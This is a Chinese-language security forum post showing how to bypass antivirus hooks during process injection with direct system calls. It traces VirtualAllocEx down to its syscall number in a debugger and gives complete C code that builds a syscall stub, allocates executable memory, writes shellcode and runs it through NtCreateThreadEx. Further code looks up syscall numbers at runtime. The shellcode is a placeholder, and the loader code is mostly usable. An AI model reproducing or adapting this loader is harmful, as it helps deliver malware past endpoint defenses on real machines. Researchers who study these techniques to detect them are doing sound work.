在进程注入的时候会出现一些敏感函数被HOOK的情况像VirtualAllocEx,WriteProcessMemory都是重点关注的函数本文通过直接调用系统调用号绕过杀软HOOK,syscall限于64位 0x01 系统…
在进程注入的时候会出现一些敏感函数被HOOK的情况
像VirtualAllocEx,WriteProcessMemory都是重点关注的函数
本文通过直接调用系统调用号绕过杀软HOOK,syscall限于64位
0x01 系统调用号
打个比方
VirtualAllocEx不是用户层的最后一个函数
VirtualAllocEx->VirtualAllocExNuma->ZwAllocateVirtualMemory
最后ZwAllocateVirtualMemory函数进入内核层
这些底层的函数都有一个数字,在windows10的情况下ZwAllocateVirtualMemory对应的号就是0x18号
简单说就是底层函数对应的那个数字就是系统调用号
下面用dbg跟一下VirtualAllocEx
这是主函数里面VirtualAllocEx用F7跟进
上面调整下堆栈,然后jmp到VirtualAllocEx函数位置
这里看到调用了VirtualAllocExNuma
这里就调到了ntdll.dll里面的ZwAllocateVirtualMemory,基本到ntdll.dll里面是用户层底层函数了
到这里就可以看到调用号是18了,上面也有一些别的调用号对应的函数
mov r10,rcx
mov eax,18
test byte ptr ds:[7FFE0308],1
jne ntdll.7FFAA5D22B15
syscall
ret
上面这段就是执行系统调用号对应的函数
test byte ptr ds:[7FFE0308],1
jne ntdll.7FFAA5D22B15
这是用来校验的可以删掉
mov r10,rcx
mov eax,18 #将系统调用号存入eax中
syscall #进入内核层
ret
上面的四行就可以调用用户层最下层函数
不同系统的系统调用号是不同的,可以在下面这个网站查询,找不到的函数Zw修改Nt就可以
https://j00ru.vexillium.org/syscalls/nt/64/
0x02 代码实现
VirtualAllocEx -> NtAllocateVirtualMemory -> 0x18
WriteMemory -> NtWriteVirtualMemory -> 0x3a
CreateRemoteThread -> NtCreateThreadEx -> 0xc6
这是三个敏感函数对应的底层函数
这次不使用NtWriteVirtualMemory函数就用普通的WriteMemory写内存,因为NtWriteVirtualMemory涉及内存保护比较麻烦
ZwOpenProcess->ZwProtectVirtualMemory->ZwWriteVirtualMemory
要这样写,还没研究过就先不看了
上面的系统调用号都是windows11的,网站上只到windows10,所以有些对不上
这里就不写找的过程了,和上面是相同的
#include <stdio.h>
#include <windows.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode";
char syscall_sc[] = {
0x4c, 0x8b, 0xd1,
0xb8, 0xb9, 0x00, 0x00, 0x00, //系统调用号
0x0f, 0x05, //syscall
0xc3//ret
};
typedef LPVOID (WINAPI* fnNtAllocateVirtualMemory)(
HANDLE ProcessHandle, //进程句柄
PVOID* BaseAddress, //指向开辟内存的指针,二级指针
ULONG_PTR ZeroBits, //不知道啥用直接置零
PSIZE_T RegionSize, //指向开辟大小的指针
ULONG AllocationType, //内存页
ULONG Protect //内存属性
);
typedef DWORD(WINAPI* fnNtCreateThreadEx)(
PHANDLE ThreadHandle, //指向线程句柄的指针
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle, //进程句柄
LPTHREAD_START_ROUTINE lpstartAddress, //要执行的函数
LPVOID lpParameter, //函数的参数
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnknow
);
//还有几个参数用不到置零就就可以
int main()
{
SIZE_T SIZE = 0x1000;
LPVOID Address NULL;
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, -1);//得到进程句柄
syscall_sc[4] = 0x18; //修改模板调用号
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc;
//设置执行函数就走到已修改过的syscall位置
NtAllocateVirtualMemory(process, &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//调用NtAllocateVirtualMemory函数
WriteProcessMemory(process, Address, buf, sizeof(buf), NULL); //写内存
syscall_sc[4] = 0xc6; //修改模板
fnNtCreateThreadEx NtCreateThreadEx = (fnNtCreateThreadEx)&syscall_sc; //设置函数指针
HANDLE hRemoteThread;
DWORD ZwRet = NtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)Address, NULL, 0, 0, 0, 0, 0);//执行线程
}
写过Hook的师傅可能知道,内联Hook都是直接修改函数的汇编,把正常执行的汇编跳到某个想执行的地方
上述方法直接调用底层函数,普通的Hook已经定位不到了,再高级一点Hook住ntdll.dll也是没用的,因为这里的syscall并不是通过ntdll.dll的,理论上来说已经避免了R3的Hook了
0x03 动态获取系统调用号
上面的代码还有个问题,不同版本的系统系统调用号也是不同的,甚至有些小版本的系统调用号也不同,这样写兼容肯定是很不好的,需要找到一种动态获取系统调用号的方法
先看一段代码
#include<stdio.h>
#include<Windows.h>
#pragma comment(linker, "/section:.data,RWE")
typedef LPVOID(WINAPI* fnNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
int main() {
SIZE_T SIZE = 0x1000;
LPVOID Address = NULL;
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
}
用dbg查看下
GetProcAddress得到了函数指针存在ebx然后call过去
这里过去同样可以找到syscall号
可以通过得到函数指针,往后推四个字节得到syscall号
可以写个函数实现一下
#include <stdio.h>
#include <windows.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode";
char syscall_sc[] = {
0x4c, 0x8b, 0xd1,
0xb8, 0xb9, 0x00, 0x00, 0x00, //系统调用号
0x0f, 0x05, //syscall
0xc3//ret
};
typedef LPVOID (WINAPI* fnNtAllocateVirtualMemory)(
HANDLE ProcessHandle, //进程句柄
PVOID* BaseAddress, //指向开辟内存的指针,二级指针
ULONG_PTR ZeroBits, //不知道啥用直接置零
PSIZE_T RegionSize, //指向开辟大小的指针
ULONG AllocationType, //内存页
ULONG Protect //内存属性
);
typedef DWORD(WINAPI* fnNtCreateThreadEx)(
PHANDLE ThreadHandle, //指向线程句柄的指针
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle, //进程句柄
LPTHREAD_START_ROUTINE lpstartAddress, //要执行的函数
LPVOID lpParameter, //函数的参数
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnknow
);
int GetSysCall(LPCSTR FuncName) {
SIZE_T num;
char sc[5];
LPVOID FuncPoint = GetProcAddress(GetModuleHandleA("ntdll.dll"), FuncName); //得到函数指针
ReadProcessMemory(GetCurrentProcess(), FuncPoint, &sc, 0x5, &num); //读取五个字节存到数组
return sc[4]; //取得syscall号
}
int main()
{
SIZE_T SIZE = 0x1000;
LPVOID Address= NULL;
ULONG write;
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, -1);
syscall_sc[4] = GetSysCall("NtAllocateVirtualMemory");
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc;
NtAllocateVirtualMemory(process, &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(process, Address, buf, sizeof(buf), NULL);
syscall_sc[4] = GetSysCall("NtCreateThreadEx");
fnNtCreateThreadEx NtCreateThreadEx = (fnNtCreateThreadEx)&syscall_sc;
HANDLE hRemoteThread;
DWORD ZwRet = NtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)Address, NULL, 0, 0, 0, 0, 0);
system(" pause");
}
这样就实现了动态获取系统调用号
0x04 参考
https://idiotc4t.com/defense-evasion/overwrite-winapi-bypassav
- 本文作者: Macchiato
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1014
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!